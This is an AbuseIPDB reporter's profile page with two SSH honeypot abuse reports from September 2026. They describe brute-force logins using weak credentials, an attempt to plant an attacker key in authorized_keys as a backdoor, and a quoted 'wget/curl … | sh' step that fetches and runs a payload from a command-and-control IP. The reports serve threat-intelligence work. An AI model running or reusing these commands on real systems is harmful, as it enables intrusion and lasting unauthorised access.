AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User kno3 hh joined AbuseIPDB in September 2026 and has reported 2 IP addresses.

Standing (weight) is Unknown.

ACTIVE USER

IP	Date	Comment	Categories
🇳🇱 192.253.248.216	22 hours ago	Massive SSH honeypot brute-force: 10002 connections / 10000 unique credential attempts in 3 hours (1 ... show more Massive SSH honeypot brute-force: 10002 connections / 10000 unique credential attempts in 3 hours (10:41-13:53 UTC, 2026-09-26), then successfully logged into honeypot with root/123456 and admin/admin. Attempted PERSISTENT SSH BACKDOOR: mkdir ~/.ssh, chattr -i .ssh, wrote attacker RSA-2048 public key (admin@nas-server) into authorized_keys, chmod 700/600. Full session recorded (creds, commands, timing). Also tried high-entropy credentials (administrator/Admin@2024, 22&%DJO*8Ph@...) indicating large leaked credential database. IOC: attacker pubkey AAAAB3NzaC1yc2EAAAADAQABAAABAQDHnnisa2h... admin@nas-server show less	Brute-Force SSH Hacking
🇨🇭 217.60.103.56	23 Sep 2026	SSH honeypot capture: attacker bruteforced weak creds (admin/admin) on exposed SSH, then attempted s ... show more SSH honeypot capture: attacker bruteforced weak creds (admin/admin) on exposed SSH, then attempted stage2 delivery: wrote ed25519 SSH private key (comment dlr@sftp), scp-d payload out_sh from this host as [email protected]:sh, fallback wget/curl https://217.60.103.56/sh \| sh. Same C2 IP, same embedded key, same payload reused across multiple sessions on 2026-09-21 and 2026-09-23 (UTC). Payload executed in honeypot sandbox only; full IOC log retained. show less	Brute-Force SSH Hacking